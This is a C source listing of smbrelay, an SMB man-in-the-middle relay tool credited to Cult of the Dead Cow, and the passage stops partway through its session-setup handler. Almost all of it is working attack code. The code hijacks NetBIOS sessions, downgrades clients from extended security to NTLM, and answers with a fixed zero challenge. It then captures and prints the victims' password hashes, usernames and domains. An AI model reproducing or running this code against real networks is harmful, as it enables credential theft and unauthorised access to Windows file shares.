// smbrelay.cpp : TCP (NetBT) level SMB man-in-the-middle relay attack // Copyright 2001 Sir Dystic - Cult of the Dead Cow - sirdystic@cultdeadcow.com #pragma comment(lib, "wsock32.lib") #pragma comment(lib, "iphlpapi.lib") #include #include #include #include #include #include #include #include #pragma pack(1) #define GETSOCKETERROR WSAGetLastError BOOL g_bQuit = FALSE; BOOL g_FakeResponse = TRUE; BOOL g_FakeOnly = FALSE; int g_DebugLevel = 0; DWORD g_LocalInterfaceNumber = 0; DWORD g_RelayInterfaceNumber = 1; DWORD g_TargetIP = 0; char g_SourceName[16] = "CDC4EVER"; DWORD g_LocalIP = INADDR_NONE; BOOL g_bAddLocalIP = FALSE; WORD g_LocalPort = 139; DWORD g_RelayStartIP = MAKELONG( MAKEWORD(192, 1), MAKEWORD(1, 1) ); BOOL g_bAddRelayIP = TRUE; DWORD ConnectedList[1024]; DWORD ConnectedSize = 0; #define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) #define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" #define SERVERDOMAINNAME "PEE" #define SMBENCRYPTIONKEYLEN 8 // The original MSNET SMB protocol (otherwise known as the "core protocol") #define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0" // Some versions of the original MSNET defined this as an alternate to the core p rotocol name #define LANMANDIALECT_PCLAN10 "PCLAN1.0" // This is used for the MS-NET 1.03 product. It defines Lock&Read,Write&Unlock, and a special version of raw read and raw write. #define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03" // This is the DOS LANMAN 1.0 specific protocol. It is equivalent to the LANMAN 1.0 protocol, except the server is required to map errors from the OS/2 error to an appropriate DOS error. #define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0" // This is the first version of the full LANMAN 1.0 protocol #define LANMANDIALECT_LANMAN10 "LANMAN1.0" // This is the first version of the full LANMAN 2.0 protocol #define LANMANDIALECT_LM12X002 "LM1.2X002" // This is the DOS equivalent of the LM1.2X002 protocol. It is identical to the LM1.2X002 protocol, but the server will perform error mapping to appropriate DOS errors. #define LANMANDIALECT_DOSLM12X002 "DOS LM1.2X002" // DOS LANMAN2.1 #define LANMANDIALECT_DOSLANMAN21 "DOS LANMAN2.1" // OS/2 LANMAN2.1 #define LANMANDIALECT_LANMAN21 "LANMAN2.1" // Windows for Workgroups Version 1.0 #define LANMANDIALECT_WFW31A "Windows for Workgroups 3.1a" // The SMB protocol designed for NT networking. This has special SMBs which dupl icate the NT semantics. #define LANMANDIALECT_NTLM012 "NT LM 0.12" typedef struct { BYTE Type; // Type of packet BYTE Flags; // flags (length extension flag is all th at's used) WORD Length; // Length of additional data // WORD Padding; // additional frame padding?? } NBSESSIONHEADER, *PNBSESSIONHEADER; typedef struct { DWORD MagicVal; BYTE Command; union { struct { BYTE ErrorClass; BYTE Reserved; WORD ErrorCode; }; DWORD NTError; }; // flags field BYTE bLockAndReadWriteAndUnlock:1; BYTE bSendWithoutAck:1; BYTE bReservedBit:1; BYTE bNoCaseSensitivePaths:1; BYTE bCanonicalizedPaths:1; BYTE bOpportunisticLocks:1; BYTE bChangeNotify:1; BYTE bResponse:1; // 2nd flags field BYTE bLongFilenames:1; BYTE bExtendedAttributes:1; BYTE bFlags2IsLongName:1; BYTE bUnknown1:1; BYTE bUnknown2:1; BYTE bUnknown3:1; //*** BYTE bUnknown4:1; BYTE bUnknown5:1; //*** BYTE bUnknown6:1; BYTE bUnknown7:1; BYTE bUnknown8:1; BYTE bExtendedSecurity:1; BYTE bResolveViaDFS:1; BYTE bReadGrantedWithExecPerms:1; BYTE bNTErrorCodes:1; BYTE bUnicodeStrings:1; WORD PID; DWORD HdrReserved; WORD SessionID; WORD SequenceNumber; BYTE Padding[2]; WORD TreeID; WORD CallersProcess; WORD UserID; WORD MultiplexID; } SMBHEADER, *PSMBHEADER; typedef struct { BYTE Len; // should be 17 WORD DialectIndex; BYTE bUserLevelSecurity:1; BYTE bEncryptPasswords:1; BYTE bSecuritySignaturesEnabled:1; BYTE bSecuritySignaturesRequired:1; BYTE bReserved:4; WORD MaxPendingMpxRequests; WORD MaxVCsInClientAndServer; DWORD MaxTransmitBufferSize; DWORD MaxRawBufferSize; DWORD UniqueSessionKey; BYTE bReadAndWriteRawMode:1; BYTE bReadAndWriteMultiplexMode:1; BYTE bUnicode:1; BYTE bLargeFiles:1; BYTE bNTLM012Dialect:1; BYTE bRAPIviaRPC:1; BYTE bNT32BitStatus:1; BYTE bLevelIIOplocks:1; BYTE bLOCK_AND_READ_Command:1; BYTE bNT_FIND_SBM_Command:1; BYTE Unused1:2; BYTE bDFSAware:1; BYTE Unused2:3; BYTE Unused3; BYTE Unused4:5; BYTE bBulkTransfer:1; BYTE bCompressedData:1; BYTE bExtendedSecurity:1; DWORD SystemDate; DWORD SystemTime; WORD TimeZone; BYTE EncryptionKeyLen; WORD ByteCount; } SMBDIALECTSELECTHEADER, *PSMBDIALECTSELECTHEADER; #define SMBDIALECTSELECTHEADER_LEN 17 typedef struct { BYTE Len; // should be 10 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD PasswordLen; DWORD Reserved; WORD ByteCount; } SESSION_SETUP_ANDHEADER, *PSESSION_SETUP_ANDHEADER; #define SESSION_SETUP_ANDHEADER_LEN 10 typedef struct { BYTE Len; // should be 13 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD CaseInsensitivePasswordLen; WORD CaseSensitivePasswordLen; DWORD Reserved; DWORD ClientCaps; WORD ByteCount; } SESSION_SETUP_ANDHEADER2, *PSESSION_SETUP_ANDHEADER2; #define SESSION_SETUP_ANDHEADER2_LEN 13 typedef struct { BYTE Len; // should be 12 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD MaxBufferSize; WORD MaxMpxCount; WORD VcNumber; // 0 = first (only), nonzero=additional VC number DWORD SessionKey; WORD SecurityBlobLen; DWORD Reserved; DWORD ClientCaps; WORD ByteCount; } SESSION_SETUP_ANDHEADER2EX, *PSESSION_SETUP_ANDHEADER2EX; #define SESSION_SETUP_ANDHEADER2EX_LEN 12 typedef struct { BYTE Len; // should be 3 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD Action; WORD ByteCount; } SESSION_SETUP_ANDRESPONSEHEADER, *PSESSION_SETUP_ANDRESPONSEHEADER; // followed by // SZ Server native OS // SZ Server native LanMan // SZ Server primary domain #define SESSION_SETUP_ANDRESPONSEHEADER_LEN 3 typedef struct { BYTE Len; // should be 4 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD Flags; WORD PasswordLen; WORD ByteCount; } TREE_CONNECT_ANDHEADER, *PTREE_CONNECT_ANDHEADER; #define TREE_CONNECT_ANDHEADER_LEN 4 typedef struct { BYTE Len; // should be 3 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; WORD OptionalSupport; WORD ByteCount; } TREE_CONNECT_ANDRESPONSEHEADER, *PTREE_CONNECT_ANDRESPONSEHEADER; // followed by // SZ Servicetype connected to // SZ NativeFileSystem #define TREE_CONNECT_ANDRESPONSEHEADER_LEN 3 typedef struct { BYTE Len; // should be 24 BYTE AndXCommand; BYTE AndXReserved; WORD AndXOffset; BYTE Reserved; WORD NameLength; DWORD Flags; DWORD RootDirectoryFid; DWORD AccessMask; LARGE_INTEGER AllocationSize; DWORD ExtFileAttributes; DWORD ShareAccess; DWORD CreateDisposition; DWORD CreateOptions; DWORD ImpersonationLevel; BYTE SecurityFlags; WORD ByteCount; } NT_CREATE_ANDHEADER, *PNT_CREATE_ANDHEADER; #define NT_CREATE_ANDHEADER_LEN 24 #define TYPE_SESSION_MESSAGE 0x00 #define TYPE_SESSION_REQUEST 0x81 #define TYPE_POSITIVE_SESSION_RESPONSE 0x82 #define TYPE_NEGATIVE_SESSION_RESPONSE 0x83 #define TYPE_RETARGET_SESSION_RESPONSE 0x84 #define TYPE_SESSION_KEEP_ALIVE 0x85 #define SMB_COM_CREATE_DIRECTORY 0x00 #define SMB_COM_DELETE_DIRECTORY 0x01 #define SMB_COM_OPEN 0x02 #define SMB_COM_CREATE 0x03 #define SMB_COM_CLOSE 0x04 #define SMB_COM_FLUSH 0x05 #define SMB_COM_DELETE 0x06 #define SMB_COM_RENAME 0x07 #define SMB_COM_QUERY_INFORMATION 0x08 #define SMB_COM_SET_INFORMATION 0x09 #define SMB_COM_READ 0x0A #define SMB_COM_WRITE 0x0B #define SMB_COM_LOCK_BYTE_RANGE 0x0C #define SMB_COM_UNLOCK_BYTE_RANGE 0x0D #define SMB_COM_CREATE_TEMPORARY 0x0E #define SMB_COM_CREATE_NEW 0x0F #define SMB_COM_CHECK_DIRECTORY 0x10 #define SMB_COM_PROCESS_EXIT 0x11 #define SMB_COM_SEEK 0x12 #define SMB_COM_LOCK_AND_READ 0x13 #define SMB_COM_WRITE_AND_UNLOCK 0x14 #define SMB_COM_READ_RAW 0x1A #define SMB_COM_READ_MPX 0x1B #define SMB_COM_READ_MPX_SECONDARY 0x1C #define SMB_COM_WRITE_RAW 0x1D #define SMB_COM_WRITE_MPX 0x1E #define SMB_COM_WRITE_COMPLETE 0x20 #define SMB_COM_SET_INFORMATION2 0x22 #define SMB_COM_QUERY_INFORMATION2 0x23 #define SMB_COM_LOCKING_ANDX 0x24 #define SMB_COM_TRANSACTION 0x25 #define SMB_COM_TRANSACTION_SECONDARY 0x26 #define SMB_COM_IOCTL 0x27 #define SMB_COM_IOCTL_SECONDARY 0x28 #define SMB_COM_COPY 0x29 #define SMB_COM_MOVE 0x2A #define SMB_COM_ECHO 0x2B #define SMB_COM_WRITE_AND_CLOSE 0x2C #define SMB_COM_OPEN_ANDX 0x2D #define SMB_COM_READ_ANDX 0x2E #define SMB_COM_WRITE_ANDX 0x2F #define SMB_COM_CLOSE_AND_TREE_DISC 0x31 #define SMB_COM_TRANSACTION2 0x32 #define SMB_COM_TRANSACTION2_SECONDARY 0x33 #define SMB_COM_FIND_CLOSE2 0x34 #define SMB_COM_FIND_NOTIFY_CLOSE 0x35 #define SMB_COM_TREE_CONNECT 0x70 #define SMB_COM_TREE_DISCONNECT 0x71 #define SMB_COM_NEGOTIATE 0x72 #define SMB_COM_SESSION_SETUP_ANDX 0x73 #define SMB_COM_LOGOFF_ANDX 0x74 #define SMB_COM_TREE_CONNECT_ANDX 0x75 #define SMB_COM_QUERY_INFORMATION_DISK 0x80 #define SMB_COM_SEARCH 0x81 #define SMB_COM_FIND 0x82 #define SMB_COM_FIND_UNIQUE 0x83 #define SMB_COM_NT_TRANSACT 0xA0 #define SMB_COM_NT_TRANSACT_SECONDARY 0xA1 #define SMB_COM_NT_CREATE_ANDX 0xA2 #define SMB_COM_NT_CANCEL 0xA4 #define SMB_COM_OPEN_PRINT_FILE 0xC0 #define SMB_COM_WRITE_PRINT_FILE 0xC1 #define SMB_COM_CLOSE_PRINT_FILE 0xC2 #define SMB_COM_GET_PRINT_QUEUE 0xC3 #define SMB_COM_READ_BULK 0xD8 #define SMB_COM_WRITE_BULK 0xD9 #define SMB_COM_WRITE_BULK_DATA 0xDA #define SMB_NONE 0xFF typedef struct { SOCKET connectionsock; SOCKADDR_IN sourcesockaddr; int hostcount; } NEWCONINFO, *PNEWCONINFO; typedef struct { SOCKET connectionsock; SOCKET relaysock; char header[sizeof(SMBHEADER) + sizeof(NBSESSIONHEADER)]; } RELAYCONINFO, *PRELAYCONINFO; const char *GetInterfaceType(DWORD Type); const char *StrError(DWORD err) { static char retbuff[1024]; if (err == 0) strcpy(retbuff, "\n"); else FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, err, 0, retbuff, 1024, NULL); if (strlen(retbuff) == 0) strcpy(retbuff, "\n"); return retbuff; } unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C', 'D','E','F'}; void PrintNetBIOSName(unsigned char *name) { BYTE BinVal; char PrintName[16]; int x; memcpy(PrintName, name, 15); PrintName[15] = 0; BinVal = name[15]; fprintf(stdout, "%s", PrintName); for (x = 0; x < 16 - (int)strlen(PrintName); x++) fprintf(stdout, " "); fprintf(stdout, "<%02x>", BinVal); } int NetBIOSNameToString(char *dest, const BYTE *src, int PacketLeft) { int y; static unsigned char Name[32]; unsigned char UncompressedName[256]; unsigned char hexbuf[3]; char *ptr; BYTE len; // get length of string len = *src; if (len & 0xC0) // name pointer or other { len = 0; // just return last name read } else { if (len >= PacketLeft) { puts("[Short name, aborting]"); return 0; } memset(UncompressedName, 0, sizeof(UncompressedName)); memset(Name, ' ', sizeof(Name) ); memcpy(UncompressedName, src+1, len); for (y = 0; y < 16; y++) { hexbuf[0] = hexvals[UncompressedName[y*2] - 'A']; hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A']; hexbuf[2] = 0; Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16); } } memcpy(dest, (const char *)Name , 16); return (int)(len+2); } int StringToNetBIOSName(char *dest, const char *src, BYTE binval) { int x, y; unsigned char Name[16]; unsigned char UncompressedName[256]; char hexbuf[2]; if (strcmp(src, WILDCARDNAME) == 0) { // set name to all zeros // for some reason Windows seems to want wildcard names to be pad ded // with zeros instead of spaces memset(Name, 0, sizeof(Name)); } else { // set name to all spaces memset(Name, ' ', sizeof(Name)); } // get length of name x = strlen(src); // truncate at 15th char if (x > 15) x = 15; // copy up to 15 chars leaving the rest space padded memcpy(Name, src, x); // uppercase the name Name[15] = 0; for (y = 0; y < 15; y++) Name[y] = toupper((int)Name[y]); // set 16th binary char Name[15] = binval; UncompressedName[0] = 32; // convert each char to hex for (x = 0; x < 16; x++) sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x ] ); // add 'A' to each char for (x = 1; x <= 32; x++) { char *ptr; hexbuf[0] = UncompressedName[x]; hexbuf[1] = 0; UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);; } UncompressedName[33] = 0; #ifdef USE_SCOPEID // add SCOPE_ID UncompressedName[33] = 7; memcpy((char *)&UncompressedName[34], "NETBIOS", 7); UncompressedName[41] = 3; memcpy((char *)&UncompressedName[42], "COM", 3); #endif // set the length x = 34; memcpy(dest, UncompressedName, x); return x; } void PrintHexString(BYTE *src, int len) { int x; if (len == 0) return; for (x = 0; x < len; x++) { printf("%02X", *src); src++; } printf(" "); } const char *GetCommandType(BYTE Command) { static char retbuff[64]; char * ret = retbuff; switch(Command) { case SMB_COM_CREATE_DIRECTORY: ret = "SMB_COM_CREATE_DIRECTORY"; break; case SMB_COM_DELETE_DIRECTORY: ret = "SMB_COM_DELETE_DIRECTORY"; break; case SMB_COM_OPEN: ret = "SMB_COM_OPEN"; break; case SMB_COM_CREATE: ret = "SMB_COM_CREATE"; break; case SMB_COM_CLOSE: ret = "SMB_COM_CLOSE"; break; case SMB_COM_FLUSH: ret = "SMB_COM_FLUSH"; break; case SMB_COM_DELETE: ret = "SMB_COM_DELETE"; break; case SMB_COM_RENAME: ret = "SMB_COM_RENAME"; break; case SMB_COM_QUERY_INFORMATION: ret = "SMB_COM_QUERY_INFORMATION"; break; case SMB_COM_SET_INFORMATION: ret = "SMB_COM_SET_INFORMATION"; break; case SMB_COM_READ: ret = "SMB_COM_READ"; break; case SMB_COM_WRITE: ret = "SMB_COM_WRITE"; break; case SMB_COM_LOCK_BYTE_RANGE: ret = "SMB_COM_LOCK_BYTE_RANGE"; break; case SMB_COM_UNLOCK_BYTE_RANGE: ret = "SMB_COM_UNLOCK_BYTE_RANGE"; break; case SMB_COM_CREATE_TEMPORARY: ret = "SMB_COM_CREATE_TEMPORARY"; break; case SMB_COM_CREATE_NEW: ret = "SMB_COM_CREATE_NEW"; break; case SMB_COM_CHECK_DIRECTORY: ret = "SMB_COM_CHECK_DIRECTORY"; break; case SMB_COM_PROCESS_EXIT: ret = "SMB_COM_PROCESS_EXIT"; break; case SMB_COM_SEEK: ret = "SMB_COM_SEEK"; break; case SMB_COM_LOCK_AND_READ: ret = "SMB_COM_LOCK_AND_READ"; break; case SMB_COM_WRITE_AND_UNLOCK: ret = "SMB_COM_WRITE_AND_UNLOCK"; break; case SMB_COM_READ_RAW: ret = "SMB_COM_READ_RAW"; break; case SMB_COM_READ_MPX: ret = "SMB_COM_READ_MPX"; break; case SMB_COM_READ_MPX_SECONDARY: ret = "SMB_COM_READ_MPX_SECONDARY"; break; case SMB_COM_WRITE_RAW: ret = "SMB_COM_WRITE_RAW"; break; case SMB_COM_WRITE_MPX: ret = "SMB_COM_WRITE_MPX"; break; case SMB_COM_WRITE_COMPLETE: ret = "SMB_COM_WRITE_COMPLETE"; break; case SMB_COM_SET_INFORMATION2: ret = "SMB_COM_SET_INFORMATION2"; break; case SMB_COM_QUERY_INFORMATION2: ret = "SMB_COM_QUERY_INFORMATION2"; break; case SMB_COM_LOCKING_ANDX: ret = "SMB_COM_LOCKING_ANDX"; break; case SMB_COM_TRANSACTION: ret = "SMB_COM_TRANSACTION"; break; case SMB_COM_TRANSACTION_SECONDARY: ret = "SMB_COM_TRANSACTION_SECONDARY"; break; case SMB_COM_IOCTL: ret = "SMB_COM_IOCTL"; break; case SMB_COM_IOCTL_SECONDARY: ret = "SMB_COM_IOCTL_SECONDARY"; break; case SMB_COM_COPY: ret = "SMB_COM_COPY"; break; case SMB_COM_MOVE: ret = "SMB_COM_MOVE"; break; case SMB_COM_ECHO: ret = "SMB_COM_ECHO"; break; case SMB_COM_WRITE_AND_CLOSE: ret = "SMB_COM_WRITE_AND_CLOSE"; break; case SMB_COM_OPEN_ANDX: ret = "SMB_COM_OPEN_ANDX"; break; case SMB_COM_READ_ANDX: ret = "SMB_COM_READ_ANDX"; break; case SMB_COM_WRITE_ANDX: ret = "SMB_COM_WRITE_ANDX"; break; case SMB_COM_CLOSE_AND_TREE_DISC: ret = "SMB_COM_CLOSE_AND_TREE_DISC"; break; case SMB_COM_TRANSACTION2: ret = "SMB_COM_TRANSACTION2"; break; case SMB_COM_TRANSACTION2_SECONDARY: ret = "SMB_COM_TRANSACTION2_SECONDARY"; break; case SMB_COM_FIND_CLOSE2: ret = "SMB_COM_FIND_CLOSE2"; break; case SMB_COM_FIND_NOTIFY_CLOSE: ret = "SMB_COM_FIND_NOTIFY_CLOSE"; break; case SMB_COM_TREE_CONNECT: ret = "SMB_COM_TREE_CONNECT"; break; case SMB_COM_TREE_DISCONNECT: ret = "SMB_COM_TREE_DISCONNECT"; break; case SMB_COM_NEGOTIATE: ret = "SMB_COM_NEGOTIATE"; break; case SMB_COM_SESSION_SETUP_ANDX: ret = "SMB_COM_SESSION_SETUP_ANDX"; break; case SMB_COM_LOGOFF_ANDX: ret = "SMB_COM_LOGOFF_ANDX"; break; case SMB_COM_TREE_CONNECT_ANDX: ret = "SMB_COM_TREE_CONNECT_ANDX"; break; case SMB_COM_QUERY_INFORMATION_DISK: ret = "SMB_COM_QUERY_INFORMATION_DISK"; break; case SMB_COM_SEARCH: ret = "SMB_COM_SEARCH"; break; case SMB_COM_FIND: ret = "SMB_COM_FIND"; break; case SMB_COM_FIND_UNIQUE: ret = "SMB_COM_FIND_UNIQUE"; break; case SMB_COM_NT_TRANSACT: ret = "SMB_COM_NT_TRANSACT"; break; case SMB_COM_NT_TRANSACT_SECONDARY: ret = "SMB_COM_NT_TRANSACT_SECONDARY"; break; case SMB_COM_NT_CREATE_ANDX: ret = "SMB_COM_NT_CREATE_ANDX"; break; case SMB_COM_NT_CANCEL: ret = "SMB_COM_NT_CANCEL"; break; case SMB_COM_OPEN_PRINT_FILE: ret = "SMB_COM_OPEN_PRINT_FILE"; break; case SMB_COM_WRITE_PRINT_FILE: ret = "SMB_COM_WRITE_PRINT_FILE"; break; case SMB_COM_CLOSE_PRINT_FILE: ret = "SMB_COM_CLOSE_PRINT_FILE"; break; case SMB_COM_GET_PRINT_QUEUE: ret = "SMB_COM_GET_PRINT_QUEUE"; break; default: sprintf(retbuff, "Command 0x%02X", Command); break; } return ret; } const char *GetMessageType(BYTE Type) { char *typeptr = "Unknown"; switch (Type) { case TYPE_SESSION_MESSAGE: typeptr = "Session Message"; break; case TYPE_SESSION_REQUEST: typeptr = "Session Request"; break; case TYPE_POSITIVE_SESSION_RESPONSE: typeptr = "Positive Session Response"; break; case TYPE_NEGATIVE_SESSION_RESPONSE: typeptr = "Negative Session Response"; break; case TYPE_RETARGET_SESSION_RESPONSE: typeptr = "Retarget Session Response"; break; case TYPE_SESSION_KEEP_ALIVE: typeptr = "Session Keep Alive"; break; } return typeptr; } void mainconnectionhandler(void *arg) { SOCKET outsock, inconsock ; SOCKADDR_IN sockaddr, sourcesockaddr; char buff[65536]; char namebuff[64]; BYTE challenge[8]; BYTE caseinsensitivepassword[24]; BYTE casesensitivepassword[24]; char username[64]; char hostname[64]; DWORD SessionID; PNEWCONINFO pnewconinfo = (PNEWCONINFO)arg; char negotiateheaders[1024]; char logonandconnectheaders[1024]; WORD UID; int hostnumber = pnewconinfo->hostcount; BOOL bFakeResponse = FALSE; int x, len; inconsock = pnewconinfo->connectionsock; memcpy(&sockaddr, &pnewconinfo->sourcesockaddr, sizeof(SOCKADDR_IN)); memcpy(&sourcesockaddr, &pnewconinfo->sourcesockaddr, sizeof(SOCKADDR_IN) ); if (g_FakeOnly) { bFakeResponse = TRUE; } else { outsock = socket(AF_INET, SOCK_STREAM, 0); sockaddr.sin_port = htons(139); if (g_TargetIP != 0) sockaddr.sin_addr.s_addr = g_TargetIP; if (connect(outsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR) { printf("Unable to connect to %s:%d\n", inet_ntoa(sockaddr .sin_addr), 139); if (g_FakeResponse) bFakeResponse = TRUE; else { closesocket(inconsock); return; } } } DWORD l = 0; ioctlsocket(inconsock, FIONBIO , &l); PNBSESSIONHEADER pnbsessionheader = (PNBSESSIONHEADER)buff; PSMBHEADER psmbheader = (PSMBHEADER)(pnbsessionheader + 1); PSMBDIALECTSELECTHEADER pdialectselectheader = (PSMBDIALECTSELECTHEADER)( psmbheader+1); PSESSION_SETUP_ANDHEADER psessionsetupand = (PSESSION_SETUP_ANDHEADER)(ps mbheader+1); PSESSION_SETUP_ANDHEADER2 psessionsetupand2 = (PSESSION_SETUP_ANDHEADER2) (psmbheader+1); PSESSION_SETUP_ANDHEADER2EX psessionsetupand2ex = ( PSESSION_SETUP_ANDHEA DER2EX)(psmbheader+1); PSESSION_SETUP_ANDRESPONSEHEADER psessionsetupandresponse = (PSESSION_SET UP_ANDRESPONSEHEADER)(psmbheader + 1); PTREE_CONNECT_ANDHEADER ptreeconnectand = (PTREE_CONNECT_ANDHEADER)(psmbh eader+1); BOOL bConnected = FALSE; BOOL bContinue = TRUE; len = 0; while (bContinue && !bConnected && !g_bQuit) { len = recv(inconsock, buff, sizeof(buff), 0); if (len < 1) { printf("Error receiving data from incoming connection\n") ; return; } printf("Request type: %s %d bytes\n", GetMessageType(pnbsessionh eader->Type), len); switch (pnbsessionheader->Type) { case TYPE_SESSION_REQUEST: NetBIOSNameToString(namebuff, (BYTE *)buff + 38, len - 38 ); printf("Source name: "); PrintNetBIOSName((BYTE *)namebuff); memcpy(hostname, namebuff, 15); hostname[15] = 0; { char *ptr = &hostname[14]; while (*ptr == ' ') { *ptr = 0; ptr--; } } NetBIOSNameToString(namebuff, (BYTE *)buff + 4, len - 4); printf("\nTarget name: "); PrintNetBIOSName((BYTE *)namebuff); if (bFakeResponse) { pnbsessionheader->Length = 0; pnbsessionheader->Type = TYPE_POSITIVE_SESSION_RE SPONSE; send(inconsock, (const char *)pnbsessionheader, s izeof(NBSESSIONHEADER), 0); } else { printf("\nSetting target name to source name and source name to '%s'...\n", g_SourceName); #if 1 // convert name string to netbios name format StringToNetBIOSName(namebuff, "*SMBSERVER", 20); // copy source name to target name memcpy(buff + 4, namebuff, 34); #else // copy source name to target name memcpy(buff + 4, buff + 38, 34); #endif // change service value to server (0x20) memcpy(buff + 35, "CA", 2); // convert name string to netbios name format StringToNetBIOSName(namebuff, g_SourceName, 20); // copy our source name to packet memcpy(buff + 38, namebuff, 34); } break; case TYPE_SESSION_MESSAGE: if (psmbheader->MagicVal == SMBMAGICVAL) { printf("%s\n", GetCommandType(psmbheader->Command ) ); // Downgrade security yo NTLM psmbheader->bExtendedSecurity = FALSE; psmbheader->bNTErrorCodes = FALSE; // psmbheader->bUnicodeStrings = FALSE; psmbheader->bFlags2IsLongName = FALSE; switch (psmbheader->Command) { case SMB_COM_NEGOTIATE: if (!bFakeResponse) { // set to NT style connection (no extende d security) psmbheader->bUnicodeStrings = FALSE; psmbheader->bNTErrorCodes = FALSE; psmbheader->bUnknown1 = FALSE; psmbheader->bUnknown2 = FALSE; psmbheader->bUnknown3 = FALSE; psmbheader->bUnknown4 = FALSE; psmbheader->bUnknown5 = FALSE; psmbheader->bUnknown6 = FALSE; psmbheader->bUnknown7 = FALSE; psmbheader->bUnknown8 = FALSE; psmbheader->bExtendedSecurity = FALSE; } else { char *ptr = (char *)(psmbheader + 1) + 3; int selecteddialect = 0; int x = 0; while (selecteddialect == 0 && ptr < buff + pnbsessionheader->Length) { if (g_DebugLevel > 0) fprintf(stderr, "%d - Dia lect %d - %s\n", x, *ptr, ptr+1); x++; ptr += strlen(ptr+1) + 2; // locate dialect of choi ce if (strcmp(ptr+1, LANMANDIALECT_N TLM012) == 0) selecteddialect = x; } psmbheader->bResponse = TRUE; memset(pdialectselectheader, 0, sizeof(SM BDIALECTSELECTHEADER)); pdialectselectheader->Len = SMBDIALECTSEL ECTHEADER_LEN; pdialectselectheader->DialectIndex = sele cteddialect; pdialectselectheader->bUserLevelSecurity = 1; pdialectselectheader->bEncryptPasswords = 1; pdialectselectheader->MaxPendingMpxReques ts = 50; pdialectselectheader->MaxTransmitBufferSi ze = 4356; pdialectselectheader->MaxRawBufferSize = 65536; pdialectselectheader->bReadAndWriteRawMod e = 1; pdialectselectheader->bUnicode = 1; pdialectselectheader->bLargeFiles = 1; pdialectselectheader->bNTLM012Dialect = 1 ; pdialectselectheader->bRAPIviaRPC = 1; pdialectselectheader->bNT32BitStatus = 1; pdialectselectheader->bLevelIIOplocks = 1 ; pdialectselectheader->bNT_FIND_SBM_Comman d = 1; pdialectselectheader->bLOCK_AND_READ_Comm and = 1; pdialectselectheader->TimeZone = 420; pdialectselectheader->EncryptionKeyLen = 8; ptr = (char *)(pdialectselectheader + 1); // put encryption key here memcpy(challenge, "\0\0\0\0\0\0\0\0", 8); memcpy(ptr, challenge, 8); ptr += SMBENCRYPTIONKEYLEN ; if (/*psmbheader->bUnicodeStrings*/TRUE) { swprintf((WCHAR *)ptr, L"%S", SER VERDOMAINNAME); pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + (strlen(SERVERDOMAINNAME) + 1) * 2; } else { strcpy(ptr, SERVERDOMAINNAME); pdialectselectheader->ByteCount = SMBENCRYPTIONKEYLEN + strlen(SERVERDOMAINNAME) + 1; } pnbsessionheader->Length = sizeof(SMBHEAD ER) + sizeof(SMBDIALECTSELECTHEADER) + pdialectselectheader->ByteCount ; fprintf(stderr, " *** Sent dialect select ion response (%d) for target %s\n", selecteddialect, hostname ); send(inconsock, buff, pnbsessionheader->L ength + 8, 0); } break; case SMB_COM_SESSION_SETUP_ANDX: switch (psessionsetupand->Len) { case SESSION_SETUP_ANDHEADER_LEN: // 9x? printf("Password length: %d\n", psessions etupand->PasswordLen ); if (psessionsetupand->PasswordLen > 1) { printf("Password: "); PrintHexString((BYTE *)(psessions etupand + 1), psessionsetupand->PasswordLen ); puts(""); bContinue = FALSE; // bConnected = FALSE; } break; case SESSION_SETUP_ANDHEADER2_LEN: // NT 4 printf("Password lengths: %d %d\n", psess ionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2->CaseSensitivePasswor dLen ); if (psessionsetupand2->CaseInsensitivePas swordLen > 1) { printf("Case insensitive password : "); PrintHexString((BYTE *)(psessions etupand2 + 1), psessionsetupand2->CaseInsensitivePasswordLen ); puts(""); memcpy(caseinsensitivepassword, p sessionsetupand2 + 1, 24); } if (psessionsetupand2->CaseSensitivePassw ordLen > 1) { printf("Case sensitive password: "); PrintHexString((BYTE *)(psessions etupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, psessionsetupand2- >CaseSensitivePasswordLen ); puts(""); memcpy(casesensitivepassword, (BY TE *)(psessionsetupand2 + 1) + psessionsetupand2->CaseInsensitivePasswordLen, 24) ; } if (/* psmbheader->bUnicodeStrings */TRUE ) { WCHAR *ptr = (WCHAR *)(psessionse tupand2 + 1); if (psessionsetupand2->CaseSensit ivePasswordLen == 0 && psessionsetupand2->CaseInsensitivePasswordLen == 1) ptr = (WCHAR *)((char *)p tr + 1); else ptr = (WCHAR *)((char *)p tr + psessionsetupand2->CaseInsensitivePasswordLen + psessionsetupand2->CaseSensi tivePasswordLen + 1); printf("Username: \"%S\"\n", ptr); sprintf(username, "%S", ptr); ptr += wcslen(ptr) + 1; printf("Domain: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("OS: \"%S\"\n", ptr); #if 1 _snwprintf(ptr, wcslen(ptr) , L"0 wned by cDc "); #endif ptr += wcslen(ptr) + 1; printf("Lanman type: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; printf("???: \"%S\"\n", ptr); ptr += wcslen(ptr) + 1; } else { char *ptr = (char *)(psessionsetu pand2 + 1); 